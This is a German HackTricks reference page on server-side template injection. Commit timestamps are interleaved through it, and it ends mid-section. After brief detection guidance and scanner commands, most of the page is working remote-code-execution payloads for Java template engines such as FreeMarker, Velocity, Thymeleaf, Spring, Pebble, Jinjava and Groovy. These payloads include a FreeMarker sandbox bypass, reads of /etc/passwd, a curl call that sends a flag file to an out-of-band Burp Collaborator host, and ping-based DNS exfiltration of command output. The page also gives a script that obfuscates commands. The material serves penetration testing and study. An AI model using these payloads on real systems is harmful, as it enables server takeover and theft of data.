2024-07-19 16:12:53 +00:00
# SSTI (Server Side Template Injection)
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:53 +00:00
{% hint style="success" %}
2024-08-12 14:42:22 +00:00
Lernen & üben Sie AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Lernen & üben Sie GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:53 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-08-12 14:42:22 +00:00
< summary > Unterstützen Sie HackTricks< / summary >
2024-01-01 17:15:42 +00:00
2024-08-12 14:42:22 +00:00
* Überprüfen Sie die [**Abonnementpläne** ](https://github.com/sponsors/carlospolop )!
* **Treten Sie der** 💬 [**Discord-Gruppe** ](https://discord.gg/hRep4RUj7f ) oder der [**Telegram-Gruppe** ](https://t.me/peass ) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) und [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) GitHub-Repos senden.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:12:53 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-05-05 22:18:38 +00:00
< figure > < img src = "../../.gitbook/assets/image (641).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-10-25 15:56:49 +00:00
2024-07-19 16:12:53 +00:00
[**RootedCON** ](https://www.rootedcon.com ) ist die relevanteste Cybersecurity-Veranstaltung in **Spanien** und eine der wichtigsten in **Europa** . Mit **der Mission, technisches Wissen zu fördern** , ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-07-19 16:12:53 +00:00
## Was ist SSTI (Server-Side Template Injection)
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
Server-Side Template Injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer schädlichen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Lassen Sie uns ein Beispiel betrachten, das einen anfälligen Code-Snippet mit Jinja demonstriert:
2024-02-06 14:12:47 +00:00
```python
output = template.render(name=request.args.get('name'))
2020-07-15 15:43:14 +00:00
```
2024-07-19 16:12:53 +00:00
In diesem anfälligen Code wird der `name` -Parameter aus der Benutzeranfrage direkt mit der `render` -Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den `name` -Parameter einzufügen, was zu einer Server-seitigen Template-Injection führt.
2024-04-06 18:30:57 +00:00
2024-07-19 16:12:53 +00:00
Zum Beispiel könnte ein Angreifer eine Anfrage mit einem Payload wie diesem erstellen:
2021-10-18 11:21:18 +00:00
```
2024-02-06 14:12:47 +00:00
http://vulnerable-website.com/?name={{bad-stuff-here}}
2020-07-15 15:43:14 +00:00
```
2024-07-19 16:12:53 +00:00
Der Payload `{{bad-stuff-here}}` wird in den Parameter `name` injiziert. Dieser Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
2020-07-15 15:43:14 +00:00
2024-08-12 14:42:22 +00:00
Um Server-Side Template Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextsensitiver Escape-Techniken können helfen, das Risiko dieser Schwachstelle zu mindern.
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
### Detection
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
Um Server-Side Template Injection (SSTI) zu erkennen, ist zunächst **Fuzzing des Templates** ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (**`${{< %[%'"}}%\`**) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu diesem speziellen Payload. Anzeichen für Schwachstellen sind:
2020-07-15 15:43:14 +00:00
2024-08-12 14:42:22 +00:00
* Ausgeworfene Fehler, die die Schwachstelle und potenziell die Template-Engine offenbaren.
2024-07-19 16:12:53 +00:00
* Abwesenheit des Payloads in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server ihn anders verarbeitet als reguläre Daten.
* **Plaintext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}` , `${7*7}` ).
2024-08-12 14:42:22 +00:00
* **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel das Ändern von `greeting` in `http://vulnerable-website.com/?greeting=data.username` , um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in `greeting=data.username}}hello` , das den Benutzernamen zurückgibt.
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
#### Identification Phase
2024-02-23 16:45:59 +00:00
2024-07-19 16:12:53 +00:00
Die Identifizierung der Template-Engine erfolgt durch die Analyse von Fehlermeldungen oder manuelles Testen verschiedener sprachspezifischer Payloads. Häufige Payloads, die Fehler verursachen, sind `${7/0}` , `{{7/0}}` und `<%= 7/0 %>` . Die Beobachtung der Serverantwort auf mathematische Operationen hilft, die spezifische Template-Engine zu bestimmen.
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
## Tools
2021-06-25 12:34:30 +00:00
2023-12-03 12:14:19 +00:00
### [TInjA](https://github.com/Hackmanit/TInjA)
2023-12-04 09:24:40 +00:00
2024-07-19 16:12:53 +00:00
ein effizienter SSTI + CSTI-Scanner, der neuartige Polyglots nutzt.
2023-12-03 12:14:19 +00:00
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
2024-01-07 06:40:59 +00:00
### [SSTImap](https://github.com/vladko312/sstimap)
```bash
python3 sstimap.py -i -l 5
2024-03-26 07:58:56 +00:00
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
2024-01-07 06:40:59 +00:00
```
2024-03-26 07:58:56 +00:00
### [Tplmap](https://github.com/epinna/tplmap)
2021-06-25 12:34:30 +00:00
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*& comment=supercomment& link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*& comment=A& link" --level 5 -e jade
```
2024-07-19 16:12:53 +00:00
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
2024-04-06 18:30:57 +00:00
2024-07-19 16:12:53 +00:00
eine interaktive Tabelle, die die effizientesten Template-Injection-Polyglots sowie die erwarteten Antworten der 44 wichtigsten Template-Engines enthält.
2023-12-03 12:14:19 +00:00
2022-05-01 13:25:53 +00:00
## Exploits
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
### Generic
2021-06-27 20:19:16 +00:00
2024-07-19 16:12:53 +00:00
In dieser **Wortliste** finden Sie **definierte Variablen** in den Umgebungen einiger der unten genannten Engines:
2021-06-27 20:19:16 +00:00
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt ](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt )
2024-02-06 14:12:47 +00:00
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt ](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt )
2021-06-27 20:19:16 +00:00
2022-05-01 13:25:53 +00:00
### Java
2021-06-25 12:34:30 +00:00
2024-08-12 14:42:22 +00:00
**Java - Grundlegende Injektion**
2021-06-25 12:34:30 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
2024-02-06 14:12:47 +00:00
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
2021-06-25 12:34:30 +00:00
```
2024-02-10 15:36:32 +00:00
**Java - Abrufen der Umgebungsvariablen des Systems**
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.System).getenv()}
```
2024-02-10 15:36:32 +00:00
**Java - Abrufen von /etc/passwd**
2021-06-25 12:34:30 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2022-05-01 13:25:53 +00:00
### FreeMarker (Java)
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
Sie können Ihre Payloads unter [https://try.freemarker.apache.org ](https://try.freemarker.apache.org ) ausprobieren.
2021-06-25 12:34:30 +00:00
2020-07-15 15:43:14 +00:00
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
2021-06-25 12:34:30 +00:00
* `#{7*7} = 49 -- (legacy)`
2024-07-19 16:12:53 +00:00
* `${7*'7'} Nichts`
2020-07-15 15:43:14 +00:00
* `${foobar}`
2021-06-25 12:34:30 +00:00
```java
< #assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
2020-07-15 15:43:14 +00:00
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
2024-07-19 16:12:53 +00:00
**Freemarker - Sandbox-Umgehung**
2020-07-15 15:43:14 +00:00
2024-03-26 07:58:56 +00:00
⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30
2021-06-25 12:34:30 +00:00
```java
< #assign classloader=article.class.protectionDomain.classLoader>
< #assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
< #assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
< #assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2021-06-25 12:34:30 +00:00
2024-07-19 16:12:53 +00:00
* Im FreeMarker-Bereich von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker )
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
### Velocity (Java)
2021-06-25 12:34:30 +00:00
```java
2024-03-16 10:05:41 +00:00
// I think this doesn't work
2021-06-25 12:34:30 +00:00
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
2024-03-16 10:05:41 +00:00
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
2021-06-25 12:34:30 +00:00
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2021-06-25 12:34:30 +00:00
2024-07-19 16:12:53 +00:00
* Im Velocity-Bereich von [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity )
2020-07-15 15:43:14 +00:00
2024-02-06 14:12:47 +00:00
### Thymeleaf
2020-07-15 15:43:14 +00:00
2024-03-29 21:05:19 +00:00
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck `${7*7}` , der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
2024-02-23 16:45:59 +00:00
2024-05-05 22:18:38 +00:00
* SpringEL:
2020-07-15 15:43:14 +00:00
2024-02-10 15:36:32 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
2024-05-05 22:18:38 +00:00
* OGNL:
2024-02-23 16:45:59 +00:00
2024-02-10 15:36:32 +00:00
```java
${#rt = @java .lang.Runtime@getRuntime(),#rt.exec("calc")}
```
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird _expression inlining_ für andere Template-Standorte unterstützt, unter Verwendung von Syntax wie `[[...]]` oder `[(...)]` . Daher könnte eine einfache SSTI-Testpayload wie `[[${7*7}]]` aussehen.
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
Die Wahrscheinlichkeit, dass diese Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist.
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
Thymeleaf bietet auch _expression preprocessing_ , bei dem Ausdrücke innerhalb doppelter Unterstriche (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
2021-06-25 12:34:30 +00:00
```java
2020-07-15 15:43:14 +00:00
#{selection.__${sel.code}__}
```
2024-02-10 15:36:32 +00:00
**Beispiel für eine Schwachstelle in Thymeleaf**
2020-07-15 15:43:14 +00:00
2024-07-19 16:12:53 +00:00
Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein könnte:
2024-02-06 14:12:47 +00:00
```xml
2020-07-15 15:43:14 +00:00
< a th:href = "@{__${path}__}" th:title = "${title}" >
2022-05-18 13:29:23 +00:00
< a th:href = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag .txt burpcollab.com')}" th:title = 'pepito' >
2024-02-06 14:12:47 +00:00
```
2024-08-12 14:42:22 +00:00
Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift:
2024-02-06 14:12:47 +00:00
```
2020-07-15 15:43:14 +00:00
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2020-07-15 15:43:14 +00:00
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ ](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ )
2022-05-18 13:29:23 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md ](el-expression-language.md )
{% endcontent-ref %}
2022-09-26 02:13:30 +00:00
### Spring Framework (Java)
2022-12-30 16:36:06 +00:00
```java
2024-02-10 15:36:32 +00:00
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
2022-12-30 16:36:06 +00:00
```
2024-03-26 07:58:56 +00:00
**Filter umgehen**
2023-01-13 17:40:30 +00:00
2024-07-19 16:12:53 +00:00
Mehrere Variablen-Ausdrücke können verwendet werden. Wenn `${...}` nicht funktioniert, versuchen Sie `#{...}` , `*{...}` , `@{...}` oder `~{...}` .
2023-01-13 17:40:30 +00:00
2024-07-19 16:12:53 +00:00
* Lesen Sie `/etc/passwd`
2024-02-10 15:36:32 +00:00
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2024-02-23 16:45:59 +00:00
* Benutzerdefiniertes Skript zur Payload-Generierung
2022-12-30 16:36:06 +00:00
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
2024-02-10 15:36:32 +00:00
end_payload = '.getInputStream())}'
2022-12-30 16:36:06 +00:00
count = 1
for i in converted:
2024-02-10 15:36:32 +00:00
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
2022-12-30 16:36:06 +00:00
print(base_payload + end_payload)
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2023-01-13 17:40:30 +00:00
* [Thymleaf SSTI ](https://javamana.com/2021/11/20211121071046977B.html )
* [Payloads all the things ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd )
2022-05-01 13:25:53 +00:00
### Spring View Manipulation (Java)
2021-06-25 12:34:30 +00:00
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
2022-05-18 13:29:23 +00:00
* [https://github.com/veracode-research/spring-view-manipulation ](https://github.com/veracode-research/spring-view-manipulation )
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md ](el-expression-language.md )
{% endcontent-ref %}
2020-09-22 09:07:48 +00:00
2022-05-01 13:25:53 +00:00
### Pebble (Java)
2021-06-25 12:34:30 +00:00
* `{{ someString.toUPPERCASE() }}`
2024-02-10 15:36:32 +00:00
Alte Version von Pebble ( < Version 3 . 0 . 9 ) :
2021-06-25 12:34:30 +00:00
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
2024-07-19 16:12:53 +00:00
Neue Version von Pebble :
2021-06-25 12:34:30 +00:00
```java
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% set cmd = 'id' %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2023-04-05 23:11:20 +00:00
2023-04-30 21:23:47 +00:00
2024-02-23 16:45:59 +00:00
2024-03-29 21:05:19 +00:00
2021-06-25 12:34:30 +00:00
{% set bytes = (1).TYPE
2024-02-10 15:36:32 +00:00
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
2021-06-25 12:34:30 +00:00
{{ (1).TYPE
2024-02-10 15:36:32 +00:00
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
2021-06-25 12:34:30 +00:00
```
2022-05-01 13:25:53 +00:00
### Jinjava (Java)
2021-06-25 12:34:30 +00:00
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
2024-03-16 10:05:41 +00:00
Jinjava ist ein Open-Source-Projekt, das von Hubspot entwickelt wurde und unter [https://github.com/HubSpot/jinjava/ ](https://github.com/HubSpot/jinjava/ ) verfügbar ist.
2024-02-10 15:36:32 +00:00
**Jinjava - Befehlsausführung**
2021-06-25 12:34:30 +00:00
2024-02-10 15:36:32 +00:00
Behoben durch [https://github.com/HubSpot/jinjava/pull/230 ](https://github.com/HubSpot/jinjava/pull/230 )
2021-06-25 12:34:30 +00:00
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2024-08-12 14:42:22 +00:00
**Weitere Informationen**
2021-06-25 12:34:30 +00:00
2021-10-18 11:21:18 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava )
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
### Hubspot - HuBL (Java)
2021-06-26 13:19:42 +00:00
2024-07-19 16:12:53 +00:00
* `{% %}` Anweisungsbegrenzer
* `{{ }}` Ausdrucksbegrenzer
* `{# #}` Kommentarbegrenzer
2022-04-06 08:57:29 +00:00
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
2021-06-26 13:19:42 +00:00
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
2024-07-19 16:12:53 +00:00
* `{{request.getClass()}}` - Klasse com.hubspot.content.hubl.context.TemplateContextRequest
2022-04-06 08:57:29 +00:00
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
2021-06-26 13:19:42 +00:00
2024-08-12 14:42:22 +00:00
Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckten das [Jinjava-Projekt auf Github ](https://github.com/HubSpot/jinjava/ ).
2021-06-26 13:19:42 +00:00
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
2024-02-10 15:36:32 +00:00
//It was also possible to call methods on the created object by combining the
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-28 23:27:22 +00:00
2022-04-06 08:57:29 +00:00
{% raw %}
2022-02-09 16:22:44 +00:00
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
2022-04-06 08:57:29 +00:00
{% endraw %}
{{ji.render('{{1*2}}')}}
2021-06-26 13:19:42 +00:00
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
2022-04-06 08:57:29 +00:00
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
2021-06-26 13:19:42 +00:00
```
2024-07-19 16:12:53 +00:00
**Mehr Informationen**
2021-06-26 13:19:42 +00:00
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html ](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html )
2024-07-19 16:12:53 +00:00
### Ausdruckssprache - EL (Java)
2021-06-07 09:30:58 +00:00
2021-06-26 13:24:50 +00:00
* `${"aaaa"}` - "aaaa"
2022-04-05 22:24:52 +00:00
* `${99999+1}` - 100000.
2021-06-26 13:24:50 +00:00
* `#{7*7}` - 49
2021-06-26 14:55:22 +00:00
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
2021-06-26 13:24:50 +00:00
2024-08-12 14:42:22 +00:00
Die Ausdruckssprache (EL) ist ein grundlegendes Merkmal, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:
2024-02-06 14:12:47 +00:00
2024-07-19 16:12:53 +00:00
* **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und -Aktionen zu verbinden.
* **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, was es einfacher macht, Seitenelemente mit den Anwendungsdaten zu verbinden.
2024-08-12 14:42:22 +00:00
* **Kontexte und Abhängigkeitsinjektion für Java EE (CDI)**: EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Webschicht und verwalteten Beans zu ermöglichen, was eine kohärentere Anwendungsstruktur gewährleistet.
2024-02-06 14:12:47 +00:00
2024-02-23 16:45:59 +00:00
Überprüfen Sie die folgende Seite, um mehr über die **Ausnutzung von EL-Interpretern** zu erfahren:
2021-06-07 09:30:58 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md ](el-expression-language.md )
{% endcontent-ref %}
2021-06-07 09:30:58 +00:00
2022-09-26 09:52:47 +00:00
### Groovy (Java)
2024-07-19 16:12:53 +00:00
Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem [**Bericht** ](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/ ).
2022-09-26 09:52:47 +00:00
```java
//Basic Payload
import groovy.*;
@groovy .transform.ASTTest(value={
2024-02-10 15:36:32 +00:00
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Payload to get output
import groovy.*;
@groovy .transform.ASTTest(value={
2024-02-10 15:36:32 +00:00
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
2022-09-26 09:52:47 +00:00
})
def x
//Other payloads
